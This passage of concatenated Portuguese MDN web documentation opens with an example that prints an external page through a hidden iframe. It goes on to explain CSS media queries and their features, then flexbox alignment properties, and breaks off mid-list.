`externalPage.html`:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>MDN Example</title>\n    <script type=\"text/javascript\">\n function closePrint() {\n document.body.removeChild(this.\\_\\_container\\_\\_);\n }\n\n function setPrint() {\n this.contentWindow.\\_\\_container\\_\\_ = this;\n this.contentWindow.onbeforeunload = closePrint;\n this.contentWindow.onafterprint = closePrint;\n this.contentWindow.focus(); // Required for IE\n this.contentWindow.print();\n }\n\n function printPage(sURL) {\n var oHiddFrame = document.createElement(\"iframe\");\n oHiddFrame.onload = setPrint;\n oHiddFrame.style.position = \"fixed\";\n oHiddFrame.style.right = \"0\";\n oHiddFrame.style.bottom = \"0\";\n oHiddFrame.style.width = \"0\";\n oHiddFrame.style.height = \"0\";\n oHiddFrame.style.border = \"0\";\n oHiddFrame.src = sURL;\n document.body.appendChild(oHiddFrame);\n }\n </script>\n  </head>\n\n  <body>\n    <p>\n      <span\n onclick=\"printPage('externalPage.html');\"\n style=\"cursor:pointer;text-decoration:underline;color:#0000ff;\"\n >Print external page!</span\n >\n    </p>\n  </body>\n</html>\n```\n\n\n**Nota:** Older versions of Internet Explorer cannot print the contents of a hidden `<iframe>`.\n\nVeja também\n-----------\n\n* `window.print` (en-US)\n* `window.onbeforeprint` (en-US)\n* `window.onafterprint` (en-US)\n* Media queries (en-US)\n* `@media` (en-US)"}
{"title":"Usando Media Queries - CSS","text":"Usando Media Queries\n====================\n\nUma **media query** consiste de um *media type* e pelo menos uma expressão que limita o escopo das folhas de estilo usando *media features*, tal como largura, altura e cor. *Media queries*, adicionadas no CSS3, deixam a apresentação do conteúdo adaptado a uma gama especifica de dispositivos não precisando mudar o conteúdo em si.\n\nSintaxe\n-------\n\n*Media queries* consistem de um *media type (en-US)* e podem, a partir de uma especificação CSS3, contendo uma ou mais expressões, expressa em *media features*, que determinam ou verdadeiro ou falso. Os resultados da *query* são verdadeiros se o *media type* especificado na *media query* corresponde ao tipo do documento exibido no dispositivo e todas as expressões na *media query* são verdadeiras.\n\n\n```html\n<!-- CSS media query em um elemento de link -->\n<link rel=\"stylesheet\" media=\"(max-width: 800px)\" href=\"example.css\" />\n```\n\n\n\n```css\n/\\* CSS media query dentro de um stylesheet \\*/\n@media (max-width: 600px) {\n  .facet\\_sidebar {\n    display: none;\n  }\n}\n```\n\n\nQuando uma *media query* é verdadeira, a camada de estilo ou as regras de estilos correspondentes são aplicadas, seguindo o padrão de regras de cascatas. Camadas de estilos com *media queries* ligadas a tag <link> vão fazer download mesmo se suas *medias queries* retornarem falso (eles não se aplicam, no entanto).\n\nA menos que você use os operadores `not` ou `only`, o *media type* é opcional e o tipo `all` será implícito.\n\n### Operadores lógicos\n\nVocê pode compor *media queries* complexos usando operadores lógicos, incluindo `not`, `and`, e `only`. O operador `and` é usado para combinar múltiplas *media features* em uma mesma *media query*, requerendo que cada sequência de características, retorne verdadeiro na ordem para que a *query* seja verdadeiro. O operador `not` é usado para negar uma *media query* inteira. O operador `only` é usado para aplicar um estilo apenas se a *query* inteira for igual, útil para previnir que navegadores antigos apliquem os estilos selecionados. Se você usar os operadores `not` ou `only`, você tem que especificar um tipo de *media* explícito.\n\nVocê também pode combinar múltiplas *medias queries* em uma lista separadas por vírgulas, se qualquer uma das *media queries* na lista é verdadeira, toda a instrução retorna verdadeira. Isto é equivalente a um operador `or`.\n\n#### and\n\nA palavra-chave `and` é usada para combinar múltiplas *media features*, bem como combinar *media features* com *media types*. Uma *media query* básica, uma *media feature* simples com a *media type* `all`, pode parecer com isso:\n\n\n```css\n@media (min-width: 700px) { ... }\n```\n\n\nSe, no entanto, você desejar que isso se aplique apenas para telas em landscape, você pode usar o operador `and` para deixar todas as *media features* juntas.\n\n\n```css\n@media (min-width: 700px) and (orientation: landscape) { ... }\n```\n\n\nAgora, a *media query* acima vai apenas retorna verdadeira se o viewport for 700px, *wide* ou *wider* e a tela estiver em *landscape*. Se, no entanto, você deseja apenas que isso seja aplicado se a tela em questão for *media type* TV, você pode encadear essas *features* com a *media type* usando o operador `and`.\n\n\n```css\n@media tv and (min-width: 700px) and (orientation: landscape) { ... }\n```\n\n\nAgora, a *media query* acima vai ser aplicada apenas se a *media type* for TV, o *viewport* for 700px *wide* ou *wider*, e a tela estiver em paisagem.\n\n#### Listas separadas por vírgula\n\nListas separadas por vírgulas comportam-se como o operador `or` quando utilizadas em *media queries*. Quando utilizamos *media queries* com uma lista separada por vírgulas, se qualquer *media queries* retornar verdadeiro, os estilos ou folhas de estilos serão aplicadas. Cada *media query* em um lista separa por vírgulas é tratada como uma *query* individual, e qualquer operador aplica em uma *media query* não afeta os outros. Isto significa que *media queries* separadas por vírgulas podem ter objetivos diferentes de *media* *features*, *types* e *states*.\n\nPor exemplo, se você quiser aplicar um conjunto de estilos se o dispositivo de visualização tiver um largura mínima de 700px ou estiver sendo segurando em paisagem, você pode escrever o seguinte:\n\n\n```css\n@media (min-width: 700px), handheld and (orientation: landscape) { ... }\n```\n\n\nAcima, se eu estivesse em um dispositivo `screen` com um *viewport* largura de 800px, a afirmação retorna verdadeiro por que a primeira parte, interpretada como `@media all and (min-width: 700px)` será aplicada no meu dispositivo e portanto retorna verdadeiro, apesar do fato que meu dispositivo `screen` iria falhar no *media type* `handheld` na segunda *media query*. Do mesmo modo, se eu estivesse segurando um dispositivo em paisagem com um *viewport* de largura de 500px, enquanto a primeira media query falha devido a largura do *viewport*, a segunda *media query* teria sucesso e assim o *media statement* retorna verdadeiro.\n\n#### not\n\nA palavra chave `not` se aplica em toda a *media query* e retorna verdadeiro, caso contrário retorna falso (tal como monochrome como cor de tela ou uma tela de largura de 600px com um `min-width: 700px` recurso consultado). Um not vai apenas negar a *media query* que é aplicada, de modo não toda a *media query* que apresente uma *media querie* com uma lista separada por vírgulas. A palavra chave `not` não pode ser usada para negar uma característica individual da *query*, apenas uma *media query* inteira. Por exemplo, o `not` é avaliado por último na *query* seguinte:\n\n\n```css\n@media not all and (monochrome) { ... }\n```\n\n\nIsto significa que a *query* é avaliada assim:\n\n\n```css\n@media not (all and (monochrome)) { ... }\n```\n\n\n... em vez disso:\n\n\n```css\n@media (not all) and (monochrome) { ... }\n```\n\n\nUm outro exemplo, veja a *media query* seguinte:\n\n\n```css\n@media not screen and (color), print and (color) { ... }\n```\n\n\nÉ avalida desta forma:\n\n\n```css\n@media (not (screen and (color))), print and (color) { ... }\n```\n\n\n#### only\n\nA palavra chave *`only`* previne que navegadores antigos que não suportam media queries com media features de aplicar os estilos dados:\n\n\n```html\n<link rel=\"stylesheet\" media=\"only screen and (color)\" href=\"example.css\" />\n```\n\n### Pseudo-BNF\n```\n\nmedia_query_list: <media_query> [, <media_query> ]*\nmedia_query: [[only | not]? <media_type> [ and <expression> ]*]\n  | <expression> [ and <expression> ]*\nexpression: ( <media_feature> [: <value>]? )\nmedia_type: all | aural | braille | handheld | print |\n  projection | screen | tty | tv | embossed\nmedia_feature: width | min-width | max-width\n  | height | min-height | max-height\n  | device-width | min-device-width | max-device-width\n  | device-height | min-device-height | max-device-height\n  | aspect-ratio | min-aspect-ratio | max-aspect-ratio\n  | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio\n  | color | min-color | max-color\n  | color-index | min-color-index | max-color-index\n  | monochrome | min-monochrome | max-monochrome\n  | resolution | min-resolution | max-resolution\n  | scan | grid\n```\n\n\n*Media queries* são *case insensitive*. *Media queries* envolvidas em *media types* desconhecidos serão sempre falsas.\n\n**Nota:** Parenteses são obrigatórios em volta de expressões; a falta deles é um erro.\n\nCaracterísticas de mídia\n------------------------\n\nA maioria das *media features* podem ter prefixo \"min-\" ou \"max-\" para expressar as restrições \"maior ou igual\" ou \"menor ou igual\". Isto evita o uso dos símbolos \"<\" e \">\" , que entrem em conflito com HTML e XML. Se você usar uma *media feature* sem especificar um valor, a expressão retorna verdadeiro, se o valor da *feature* for diferente de zero.\n\n**Nota:** Se uma media feature não se aplicar ao dispositivo onde o navegador esta sendo executado, as expressões que envolvem essa media feature são sempre falsas. Por exemplo, consultar um aspecto de um dispositivo sonoro, sempre resulta em falso.\n\n### cor\n\n**Valor:** `<color>`\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** sim\n\nIndica o número de bits por componente de cor no dispositivo de saída. Se o dispositivo não é um dispositivo de cor, o valor é zero.\n\n**Nota:** Se os componentes de cor têm diferentes números de bits por componente de cor, o menor valor é utilizado. Por exemplo, se o display usa 5 bits para azul e vermelho e 6 bits para verde, então o dispositivo considera 5 bits por componente de cor. Se o dispositivo usar cores indexadas, o menor número de bits por componente de cor na tabela de cores é usado.\n\n#### Exemplos\n\nAplicar uma folha de estilo a todos dispositivos:\n\n\n```css\n@media all and (color) { ... }\n```\n\n\nAplicar uma folha de estilo a todos dispositivos com no mínimo 4 bits de color componente:\n\n\n```css\n@media all and (min-color: 4) { ... }\n```\n\n### color-index\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** Sim\n\nIndica o número de entradas na tabela de consulta de cores para o dispositivo de saída.\n\n#### Exemplos\n\nPara indicar que uma folha de estilo deve ser aplicada para todos os dispositivos que usam cores indexadas, você pode fazer:\n\n\n```css\n@media all and (color-index) { ... }\n```\n\n\nPara aplicar uma folha de estilo em um dispositivo com cores indexadas menor que 256 cores:\n\n\n```html\n<link\n rel=\"stylesheet\"\n media=\"all and (min-color-index: 256)\"\n href=\"http://foo.bar.com/stylesheet.css\" />\n```\n\n### aspect-ratio\n\n**Valor:** `<ratio>` (en-US)\n**Mídia:** `Media/Visual` (en-US), `Media/Tactile` (en-US)\n**Aceita prefixos min/max:** sim\n\nDescreve o aspecto da relação da área do display do dispositivo de saída. Este valor consiste de dois inteiros positivos separados por um caractere barra (\"/\"). Isto representa a relação entre pixels horizontais (primeiro termo) para pixels verticais (segundo termo).\n\n#### Exemplo\n\nA seguir selecionamos uma folha de estilo especial para usarmos quando a área do display é pelo menos mais larga do que alta.\n\n\n```css\n@media screen and (min-aspect-ratio: 1/1) { ... }\n```\n\n\nIsto seleciona o estilo quando a relação de aspecto seja 1:1 ou maior. Em outras palavras, estes estilos serão aplicados apenas quando a área de visualização for quadrada ou paisagem.\n\n### device-aspect-ratio\n\n**Valor:** `<ratio>` (en-US)\n**Mídia:** `Media/Visual` (en-US), `Media/Tactile` (en-US)\n**Aceita prefixos min/max:** sim\n\nDescreve a relação de aspecto do dispositivo de saída. Este valor consiste de dois inteiros positivos separados pelo carácter barra (\"/\"). Isto representa a relação de pixels horizontais (primeiro termo) por pixels verticais (segundo termo).\n\n#### Exemplo\n\nA seguir, selecionamos uma folha de estilo especial para usar em telas widescreen.\n\n\n```css\n@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }\n```\n\n\nIsso seleciona o estilo quando a relação de aspecto é 16:9 ou 16:10.\n\n### device-height\n\n**Valor:** `<length>` (en-US)\n**Mídia:** `Media/Visual` (en-US), `Media/Tactile` (en-US)\n**Aceita prefixos min/max:** sim\n\nDescreve a altura do dispositivo de saída( ou seja, toda a tela ou página, em vez de apenas a área de renderização, tal como a janela do documento).\n\n#### Exemplo\n\nPara aplicar uma folha de estilo a um documento quando exibido em uma tela menor que 800 pixels de altura, você pode usar isso:\n\n\n```html\n<link rel=\"stylesheet\" media=\"screen and (max-device-height: 799px)\" />\n```\n\n### device-width\n\n**Valor:** `<length>` (en-US)\n**Mídia:** `Media/Visual` (en-US), `Media/Tactile` (en-US)\n**Aceita prefixos min/max:** sim\n\nDescreve a largura do dispositivo e saída (ou seja, toda a tela ou página, em vez de apenas a área de renderização, tal como a janela do documento).\n\n#### Exemplo\n\nPara aplicar uma folha de estilo a um documento quando exibido em uma tela menor que 800px de largura, você pode usar isso:\n\n\n```html\n<link rel=\"stylesheet\" media=\"screen and (max-device-width: 799px)\" />\n```\n\n### grid\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** todas\n **Aceita prefixos min/max:** não\n\nDetermina se o dispositivo de saída é um dispositivo grade ou um dispositivo bitmap. Se o dispositivo é baseado em grade(tal como um terminal TTY ou uma tela de telefone com apenas um tipo de letra), o valor é 1. De outro modo é zero.\n\n#### Exemplo\n\nPara aplicar um estilo a dispositivos postáteis com 15-carácteres ou uma tela mais estreita:\n\n\n```css\n@media handheld and (grid) and (max-width: 15em) { ... }\n```\n\n\n**Nota:** A unidade \"em\" tem um significado especial para dispositivos de grade, uma vez que a exata largura de um \"em\" não pode ser determinada, 1em é assumido para ser a largura de uma célula da grade horizontalmente, e a altura de uma célula verticalmente.\n\n### height\n\n**Valor:** `<length>` (en-US)\n**Mídia:** `Media/Visual` (en-US), `Media/Tactile` (en-US)\n**Aceita prefixos min/max:** yes\n\nA característica `height` descreve a altura da superfície de renderização do dispositivo de saída (tal como a altura do viewport ou da caixa de página em uma impressora).\n\n**Nota:** Como o usuário redimensiona a janela, o Firefox muda as folhas de estilo como apropriado, com base nas media queries, usando as media features `width` e `height`.\n\n### monochrome\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** sim\n\nIndica o número de bits por pixel em um dispositivo monocromático (greyscale). Se o dispositivo não for monocromático, o valor é 0.\n\n#### Exemplos\n\nPara aplicar uma folha de estilo em todos os dispositivos monocromáticos:\n\n\n```css\n@media all and (monochrome) { ... }\n```\n\n\nPara aplicar uma folha de estilo em dispositivos monocromáticos com pelo menos 8 bits por pixel:\n\n\n```css\n@media all and (min-monochrome: 8) { ... }\n```\n\n### orientation\n\n**Valor:** `landscape` | `portrait`\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIndica se o *viewport* é modo *landscape* (o visor é mais largo do que mais alto) ou *portrait* (o visor é mais alto do que mais largo).\n\n#### Exemplo\n\nPara aplicar a folha de estilo apenas em orientação *portrait*:\n\n\n```css\n@media all and (orientation: portrait) { ... }\n```\n\n\n**Nota:** Este valor não corresponde com a orientação real do dispositivo. Abrindo o teclado virtual na maioria dos dispositivos na orientação retrato fará com que o viewport torne-se mais largo do que alto, fazendo assim que o navegador use estilos de paisagem em vez de retrato.\n\n### resolution\n\n**Valor:** `<resolution>` (en-US)\n**Mídia:** `bitmap` (en-US)\n**Aceita prefixos min/max:** sim\n\nIndica a resolução (densidade de pixel) da saída do dispositivo. A resolução pode ser especificada em pontos por inch(dpi) ou pontos por centímetro(dpcm).\n\n#### Exemplos\n\nPara aplicar a folha de estilo em dispositivos com resolução de pelo menos 300 pontos por inch:\n\n\n```css\n@media print and (min-resolution: 300dpi) { ... }\n```\n\n\nPara substituir a antiga sintaxe (min-device-pixel-ratio: 2):\n\n\n```css\n@media screen and (min-resolution: 2dppx) { ... }\n```\n\n### scan\n\n**Valor:** `progressive` | `interlace`\n**Mídia:** `Media/TV` (en-US)\n**Aceita prefixos min/max:** não\n\nDescreve o processo de digitalização de dispositivos saída de televisão.\n\n#### Exemplo\n\nPara aplicar uma folha de estilo apenas para televisores de varredura progressiva:\n\n\n```css\n@media tv and (scan: progressive) { ... }\n```\n\n### width\n\n**Valor:** `<length>` (en-US)\n**Mídia:** `Media/Visual` (en-US), `Media/Tactile` (en-US)\n**Aceita prefixos min/max:** sim\n\nA *media feature* `width` descreve a largura da superficie de renderização do dispositivo de saída (tal como a largura da janela do documento, ou a largura da caixa de página em uma impressora).\n\n**Nota:**\n Como o usuário redimensiona a janela, o Firefox muda as folhas de estilos como apropriado baseado em *media queries* usando media features `width` e `height`.\n\n#### Exemplos\n\nSe você quiser especificar uma folha de estilo para dispositivos portáteis, ou dispositivos screen com uma largura maior que 20em, você pode usar essa *query*:\n\n\n```css\n@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }\n```\n\n\nEssa *media query* especifica uma folha de estilo que aplica-se para mídias impressas maiores que 8.5 inches.\n\n\n```html\n<link\n rel=\"stylesheet\"\n media=\"print and (min-width: 8.5in)\"\n href=\"http://foo.com/mystyle.css\" />\n```\n\n\nEssa *query* especifica uma folha de estilo que é usada quano o viewport está entre 500 e 800 pixels de largura:\n\n\n```css\n@media screen and (min-width: 500px) and (max-width: 800px) { ... }\n```\n\nEspecificação da Mozilla para mídias características\n----------------------------------------------------\n\nMozilla oferece várias *media features* para específicos *Gecko* . Algumas dessas podem ser sugeridas como *media features* oficiais.\n\n### -moz-images-in-menus\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe o dispositivo permite aparecer imagens nos menus, o valor é 1; caso contrário, o valor é 0. Isto corresponde ao `:-moz-system-metric(images-in-menus)` CSS pseudo-class (en-US).\n\n### -moz-mac-graphite-theme\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n \\*\\*Aceita prefixos min/max:\\*\\*no\n\nSe o usuário tenha configurado seu dispositivo para usar a aparência *\"Graphite\"* no *Mac OS X*, o valor é 1. Se o usuário está usando a aparência padrão *blue*, ou não está num *Mac OS X*, o valor é 0.\n\nIsto corresponde ao `:-moz-system-metric(mac-graphite-theme)` CSS pseudo-class (en-US).\n\n### -moz-maemo-classic\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe o usuário está usando *Maemo* com o tema original, o valor é 1; Se está usando o mais novo tema *Fremantle*, o valor é 0.\n\nIsto corresponde ao `:-moz-system-metric(maemo-classic)` CSS pseudo-class (en-US).\n\n### -moz-device-pixel-ratio\n\n**Valor:** `<number>`\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** sim\n\nDar o número de pixels do dispositivo por pixels do CSS.\n\n**Não use este recurso.**\n\nEm vez disso, use o recurso *`resolution`* com a unidade `dppx`.\n\n`-moz-device-pixel-ratio` pode ser usada para compatibilidade com Firefox mais velho que a versão 16 e `-webkit-device-pixel-ratio` com navegadores baseados no WebKit que não suportam `dppx`.\n\nExemplo:\n```\n\n@media (-webkit-min-device-pixel-ratio: 2), /* Navegadores baseados no Webkit */\n       (min--moz-device-pixel-ratio: 2),    /* Navegadores mais antigos do Firefox (antes do Firefox 16) */\n       (min-resolution: 2dppx),             /* Forma padrão */\n       (min-resolution: 192dpi)             /* dppx fallback */\n```\n\n\nVeja este artigo CSSWG para ccompatibilidade de boas práticas em relação a *`resolution`* e *`dppx`*.\n\n**Nota:** Esta *media feature* é também implementada pelo Webkit e pelo IE 11 para Windows Phone 8.1como -webkit-device-pixel-ratio. Os prefixos min e max implementados pelo Gecko são nomeados min--moz-device-pixel-ratio e max--moz-device-pixel-ratio; mas os mesmos prefixos implementados pelo Webkit são chamados -webkit-min-device-pixel-ratio e -webkit-max-device-pixel-ratio.\n\n### -moz-os-version\n\n**Valor:** `windows-xp` | `windows-vista` | `windows-win7` | `windows-win8`\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIndica qual versão do sistema operacional está sendo usado atualmente. Atualmente apenas implementada no Windows. Possíveis valores são:\n\n* `windows-xp`\n* `windows-vista`\n* `windows-win7`\n* `windows-win8`\n\nIsto é fornecido pelas *skins das aplicações* e outros códigos do chrome para serem capazes de se adaptar para funcionar bem com a versão atual do sistema operacional.\n\n### -moz-scrollbar-end-backward\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe a interface do usuário do dispositivo exibe uma seta para trás no final da barra de rolagem, o valor é 1. Caso contrário, é 0.\n\nIsto corresponde ao `:-moz-system-metric(scrollbar-end-backward)` CSS pseudo-class (en-US).\n\n### -moz-scrollbar-end-forward\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe a interface do usuário do dispositivo a forward arrow button at the end of scrollbars, this is 1. Otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(scrollbar-end-forward)` CSS pseudo-class (en-US).\n\n### -moz-scrollbar-start-backward\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe a interface do usuário do dispositivo a backward arrow button at the beginning of scrollbars, this is 1. Otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(scrollbar-start-backward)` CSS pseudo-class (en-US).\n\n### -moz-scrollbar-start-forward\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe a interface do usuário do dispositivo a forward arrow button at the beginning of scrollbars, this is 1. Otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(scrollbar-start-forward)` CSS pseudo-class (en-US).\n\n### -moz-scrollbar-thumb-proportional\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nSe a interface do usuário do dispositivo the thumb of scrollbars proportionally (that is, sized based on the percentage of the document that is visible), this is 1. Otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(scrollbar-thumb-proportional)` CSS pseudo-class (en-US).\n\n### -moz-touch-enabled\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIf the device supports touch events (for a touch screen), this is 1. Otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(touch-enabled)` CSS pseudo-class (en-US).\n\n#### Exemplo\n\nYou might use this to render your buttons slightly larger, for example, if the user is on a touch-screen device, to make them more finger-friendly.\n\n### -moz-windows-classic\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIf the user is using Windows unthemed (in classic mode instead of using uxtheme), this is 1; otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(windows-classic)` CSS pseudo-class (en-US).\n\n### -moz-windows-compositor\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIf the user is using Windows with the DWM compositor, this is 1; otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(windows-compositor)` CSS pseudo-class (en-US).\n\n### -moz-windows-default-theme\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIf the user is currently using one of the default Windows themes (Luna, Royale, Zune, or Aero (including Vista Basic, Vista Advanced, and Aero Glass), this is 1. Otherwise it's 0.\n\nIsto corresponde ao `:-moz-system-metric(windows-default-theme)` CSS pseudo-class (en-US).\n\n### -moz-windows-glass\n\n**Valor:** `<integer>` (en-US)\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIf the user is using Windows Glass theme, this is 1; otherwise it's 0. Note that this only exists for Windows 7 and earlier.\n\n### -moz-windows-theme\n\n**Valor:** `aero` | `luna-blue` | `luna-olive` | `luna-silver` | `royale` | `generic` | `zune`\n**Mídia:** `Media/Visual` (en-US)\n**Aceita prefixos min/max:** não\n\nIndicates which Windows theme is currently being used. Only available on Windows. Possible values are:\n\n* `aero`\n* `luna-blue`\n* `luna-olive`\n* `luna-silver`\n* `royale`\n* `generic`\n* `zune`\n\nIsto é previsto para *skins* de aplicativo e outro código de aplicações de chrome a ser capaz de se adaptar a funcionar bem com o actual tema do Windows.\n\nSee also\n--------\n\n* CSS 3 media query specification\n* Media types (en-US)\n* Using media queries from code (en-US)\n* List of mobile and tablet viewport sizes with pixel ratios and physical sizes\n* CSS Animations Between Media Queries by David Walsh"}
{"title":"Aligning Items in a Flex Container - CSS","text":"Aligning Items in a Flex Container\n==================================\n\nUma das razões pela qual flexbox rapidamente despertou interesse dos desenvolvedores web é que ela trouxe capacidade de alinhamento apropriada para web pela primeira vez. Tem capacidade de alinhamento vertical apropriada, e assim finalmente podemos de modo fácil centralizar uma caixa. Neste guia, veremos detalhadamente como as propriedades de alinhamento e justificação funcionam no Flexbox.\n\nPara centralizar nossa caixa nós usamos a propriedade `align-items` para alinhar nosso item no eixo transversal, que neste caso é o eixo do bloco indo verticalmente. Nós usamos `justify-content` para alinhar o item no eixo principal, que neste caso é o eixo indo horizontalmente.\n\n![A containing element with another box centered inside it.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align1.png)\n\nVocê pode dar uma olhada no código deste exemplo abaixo. Altere o tamanho do container ou elemento aninhado e o elemento aninhado sempre permanece centralizado.\n\nPropriedades que controlam o alinhamento\n----------------------------------------\n\nAs propriedades que nós veremos neste guia são as seguintes.\n\n* `justify-content` (en-US) — controla o alinhamento de todos os itens no eixo principal.\n* `align-items` — controla o alinhamento de todos os itens no eixo transversal.\n* `align-self` — controla o alinhamento individual de um item no eixo transversal.\n* `align-content` — descrito na especificação como \"packing flex lines\"; controla o espaço entre as linhas no eixo transversal.\n\nNós também descobriremos como margens automáticas podem ser utilizadas para o alinhamento no flexbox.\n\n**Nota:** The alignment properties in Flexbox have been placed into their own specification — CSS Box Alignment Level 3. It is expected that this spec will ultimately supersede the properties as defined in Flexbox Level One.\n\nThe Cross Axis\n--------------\n\nAs propriedades `align-items` e `align-self` controlam o alinhamento dos nossos itens no eixo transversal, em colunas se `flex-direction` é `row` e entre linhas se `flex-direction` é `column`.\n\nNós estamos usando o alinhamento transversal na maioria dos exemplos. Se adicionarmos `display: flex` para um contêiner, todos os itens filhos se tornam itens flexíveis organizados em uma linha. Todos irão se esticar para serem tão altos quanto o item mais alto, pois este item define a altura dos itens no eixo transversal. Se o seu contêiner possui uma altura definida, então os itens se estenderão para esta altura, independemente da quantidade de conteúdo que está dentro deste item.\n\n![Three items, one with additional text causing it to be taller than the others.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align2.png)\n\n![Three items stretched to 200 pixels tall](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align3.png)\n\nA razão pela qual os itens passam a ter a mesma altura é que o valor inicial do `align-items`, a propriedade que controla o alinhamento do eixo transversal, está definida como `stretch`.\n\nNós podemos usar outros valores para controlar como os itens se alinham:\n\n* `align-items: flex-start`\n* `align-items: flex-end`\n* `align-items: center`\n* `align-items: stretch`\n* `align-items: baseline`\n\nNo exemplo abaixo, o valor do `align-items` está definido como `stretch`. Tente outros valores e veja como todos os itens se alinham no contêiner.\n\n### Alinhando um item com `align-self`\n\nA propriedade `align-items` adiciona a propriedade `align-self` em todos os itens flex como um grupo. Ou seja, você pode explicitamente declarar a propriedade `align-self` para impactar um único item. A propriedade `align-self` aceita todos os mesmo valores que `align-items` mais o valor `auto`, que irá resetar o valor que está configurado no container flex.\n\nNeste próximo exemplo, o container flex possui `align-items: flex-start`, que implica em todos os itens estarem alinhados ao início do eixo transversal. Foquei no primeiro item usando o seletor `first-child` e configurei este item para `align-self: stretch`; outro item foi selecionado usando a classe `selected` e `align-self: center`. Você pode mudar o valor do `align-items` ou mudar o valor do `align-self` para focar em itens individuais para ver como funciona.\n\n### Changing the main axis\n\nSo far we have looked at the behaviour when our `flex-direction` is `row`, and while working in a language written top to bottom. This means that the main axis runs along the row horizontally, and our cross axis alignment moves the items up and down.\n\n![Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align4.png)\n\nIf we change our `flex-direction` to column, `align-items` and `align-self` will align the items to the left and right.\n\n![Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align5.png)\n\nYou can try this out in the example below, which has a flex container with `flex-direction: column` yet otherwise is exactly the same as the previous example.\n\nAligning content on the cross axis — the align-content property\n---------------------------------------------------------------\n\nSo far we have been aligning the items, or an individual item inside the area defined by the flex-container. If you have a wrapped multiple-line flex container then you might also want to use the `align-content` property to control the distribution of space between the rows. In the specification this is described as packing flex lines.\n\nFor `align-content` to work you need more height in your flex container than is required to display the items. It then works on all the items as a set, and dictates what happens with that free space, and the alignment of the entire set of items within it.\n\nThe `align-content` property takes the following values:\n\n* `align-content: flex-start`\n* `align-content: flex-end`\n* `align-content: center`\n* `align-content: space-between`\n* `align-content: space-around`\n* `align-content: stretch`\n* `align-content: space-evenly` (not defined in the Flexbox specification)\n\nIn the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items. The value of `align-content` is `space-between`, which means that the available space is shared out *between* the flex lines, which are placed flush with the start and end of the container on the cross axis.\n\nTry out the other values to see how the `align-content` property works.\n\nOnce again we can switch our `flex-direction` to `column` in order to see how this property behaves when we are working by column. As before, we need enough space in the cross axis to have some free space after displaying all of the items.\n\n**Nota:** the value `space-evenly` is not defined in the flexbox specification and is a later addition to the Box Alignment specification. Browser support for this value is not as good as that of the values defined in the flexbox spec.\n\nSee the documentation for `justify-content` on MDN (en-US) for more details on all of these values and browser support.\n\nAligning content on the main axis\n---------------------------------\n\nNow that we have seen how alignment works on the cross axis, we can take a look at the main axis. Here we only have one property available to us — `justify-content`. This is because we are only dealing with items as a group on the main axis. With `justify-content` we control what happens with available space, should there be more space than is needed to display the items.\n\nIn our initial example with `display: flex` on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of `justify-content` being `flex-start`. Any available space is placed at the end of the items.\n\n![Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.](/pt-BR/docs/Web/CSS/CSS_flexible_box_layout/Aligning_items_in_a_flex_container/align6.png)\n\nThe `justify-content` property accepts the same values as `align-content`.\n\n* `justify-content: flex-start`\n* `justify-content: flex-end`\n* 